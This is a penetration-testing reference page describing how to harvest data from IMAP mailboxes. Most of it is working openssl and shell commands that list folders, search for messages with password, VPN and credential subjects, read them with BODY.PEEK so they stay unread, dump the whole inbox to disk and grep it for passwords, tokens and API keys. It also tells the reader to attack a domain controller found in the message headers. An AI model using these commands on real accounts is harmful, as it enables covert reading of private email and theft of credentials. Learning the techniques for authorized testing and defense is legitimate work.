# IMAP Mailbox Data Harvesting

- **URL:** https://hackindex.io/services/imap/exploitation/imap-mailbox-data-harvesting
- **Path:** IMAP > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/imap/exploitation.md)
- **Published:** 2026-03-29
- **Updated:** 2026-03-29

## IMAP Mailbox Data Harvesting

IMAP provides richer mailbox access than POP3: multiple folders, server-side SEARCH, and non-destructive read-only access via EXAMINE. The approach is: list all folders, assess message counts, run server-side searches for high-value subjects, triage by headers, then fetch full bodies only for confirmed high-value messages. Always use EXAMINE instead of SELECT to avoid marking messages as read.

- Connect and List All Folders
- Get Message Counts Per Folder
- Server-Side Search for High-Value Subjects
- Fetch Headers for Targeted Messages
- Fetch Full Message Bodies
- Search Sent Folder for Outbound Credentials
- Extract Internal Hostnames from Received Headers
- Save All Messages to Disk

## Connect and List All Folders

```bash
printf "a1 LOGIN $USER $PASSWORD\r\na2 LIST \"\" \"*\"\r\na3 LOGOUT\r\n" | openssl s_client -connect $TARGET_IP:993 -crlf -quiet 2>/dev/null
# a1 OK Logged in.
# * LIST (\HasNoChildren) "." INBOX
# * LIST (\HasNoChildren) "." Sent
# * LIST (\HasNoChildren) "." Drafts
# * LIST (\HasNoChildren) "." IT-Notifications
# * LIST (\HasNoChildren) "." VPN-Credentials
# a2 OK List completed.
```

Custom folder names like IT-Notifications and VPN-Credentials are immediate targets. Sent folders often contain outbound mail with internal system references and credentials shared between staff.

## Get Message Counts Per Folder

```bash
printf "a1 LOGIN $USER $PASSWORD\r\na2 STATUS INBOX (MESSAGES UNSEEN)\r\na3 STATUS Sent (MESSAGES)\r\na4 STATUS \"VPN-Credentials\" (MESSAGES)\r\na5 LOGOUT\r\n" | openssl s_client -connect $TARGET_IP:993 -crlf -quiet 2>/dev/null | grep STATUS
# * STATUS INBOX (MESSAGES 47 UNSEEN 12)
# * STATUS Sent (MESSAGES 312)
# * STATUS VPN-Credentials (MESSAGES 3)
```

## Server-Side Search for High-Value Subjects

IMAP SEARCH runs on the server: far faster than pulling all headers locally. Search by subject keyword across the mailbox:

```bash
printf "a1 LOGIN $USER $PASSWORD\r\na2 EXAMINE INBOX\r\na3 SEARCH SUBJECT password\r\na4 SEARCH SUBJECT reset\r\na5 SEARCH SUBJECT credential\r\na6 SEARCH SUBJECT VPN\r\na7 SEARCH SUBJECT temporary\r\na8 LOGOUT\r\n" | openssl s_client -connect $TARGET_IP:993 -crlf -quiet 2>/dev/null | grep SEARCH
# * SEARCH 3 14 27
# * SEARCH 8
# * SEARCH
# * SEARCH 41
# * SEARCH 3
```

Message IDs 3, 8, 14, 27, and 41 matched high-value subject keywords. Fetch headers for these specific messages before pulling full bodies:

## Fetch Headers for Targeted Messages

```bash
printf "a1 LOGIN $USER $PASSWORD\r\na2 EXAMINE INBOX\r\na3 FETCH 3 BODY.PEEK[HEADER.FIELDS (FROM TO SUBJECT DATE)]\r\na4 FETCH 8 BODY.PEEK[HEADER.FIELDS (FROM TO SUBJECT DATE)]\r\na5 LOGOUT\r\n" | openssl s_client -connect $TARGET_IP:993 -crlf -quiet 2>/dev/null
# * 3 FETCH (BODY[HEADER.FIELDS (FROM TO SUBJECT DATE)] {142}
# From: IT Support <support@company.com>
# To: john.smith@company.com
# Subject: Your temporary password is ready
# Date: Mon, 28 Mar 2026 09:00:00 +0000
# )
```

## Fetch Full Message Bodies

After header triage confirms high-value content, fetch full bodies for targeted message IDs using BODY.PEEK to preserve unseen status:

```bash
printf "a1 LOGIN $USER $PASSWORD\r\na2 EXAMINE INBOX\r\na3 FETCH 3 BODY.PEEK[]\r\na4 LOGOUT\r\n" | openssl s_client -connect $TARGET_IP:993 -crlf -quiet 2>/dev/null | grep -v '^\*\|^a[0-9]'
# From: IT Support <support@company.com>
# Subject: Your temporary password is ready
#
# Hi John,
#
# Your temporary password is: TempP@ss2026!
# Please log in at https://vpn.company.com and change it immediately.
```

## Search Sent Folder for Outbound Credentials

The Sent folder often contains credentials shared via email between staff: passwords sent to new users, VPN keys, and API tokens:

```bash
printf "a1 LOGIN $USER $PASSWORD\r\na2 EXAMINE Sent\r\na3 SEARCH SUBJECT password\r\na4 SEARCH SUBJECT credential\r\na5 SEARCH SUBJECT access\r\na6 LOGOUT\r\n" | openssl s_client -connect $TARGET_IP:993 -crlf -quiet 2>/dev/null | grep SEARCH
# * SEARCH 12 45 67
# * SEARCH 12
# * SEARCH 45 89
```

## Extract Internal Hostnames from Received Headers

```bash
printf "a1 LOGIN $USER $PASSWORD\r\na2 EXAMINE INBOX\r\na3 FETCH 1 BODY.PEEK[HEADER.FIELDS (RECEIVED)]\r\na4 LOGOUT\r\n" | openssl s_client -connect $TARGET_IP:993 -crlf -quiet 2>/dev/null | grep -i received
# Received: from dc01.company.local (dc01.company.local [10.10.10.10])
# Received: from mail01.company.local (mail01.company.local [10.10.10.50])
```

Internal hostnames and IPs from Received headers map infrastructure without scanning. dc01.company.local at 10.10.10.10 is a domain controller: test for Kerberos attacks and credential reuse immediately.

## Save All Messages to Disk

For full offline analysis of a high-value mailbox, dump all messages from INBOX to local files:

```bash
mkdir -p /tmp/imap_dump/$USER/INBOX
COUNT=$(printf "a1 LOGIN $USER $PASSWORD\r\na2 EXAMINE INBOX\r\na3 LOGOUT\r\n" | openssl s_client -connect $TARGET_IP:993 -crlf -quiet 2>/dev/null | grep EXISTS | awk '{print $2}')
for i in $(seq 1 $COUNT); do
  printf "a1 LOGIN $USER $PASSWORD\r\na2 EXAMINE INBOX\r\na3 FETCH $i BODY.PEEK[]\r\na4 LOGOUT\r\n" | openssl s_client -connect $TARGET_IP:993 -crlf -quiet 2>/dev/null > /tmp/imap_dump/$USER/INBOX/msg_$i.eml
done
echo "Saved $COUNT messages"
# Saved 47 messages
```

```bash
grep -rh -iE 'password|passwd|token|api.?key|secret|vpn' /tmp/imap_dump/$USER/ | grep -v 'Content-Type\|boundary\|charset'
# Your temporary password is: TempP@ss2026!
# VPN PSK: SuperSecretPSK2026
# API Key: sk-prod-xK2aB1cD3eF4gH5i
```

> [!CAUTION]
> Always use EXAMINE instead of SELECT. EXAMINE is read-only and does not mark messages as read or alter any mailbox flags. STORE and EXPUNGE are destructive: never use them during an assessment.

## References

- [RFC 3501: IMAP4rev1](https://www.rfc-editor.org/rfc/rfc3501) - EXAMINE, SEARCH, FETCH, and BODY.PEEK command reference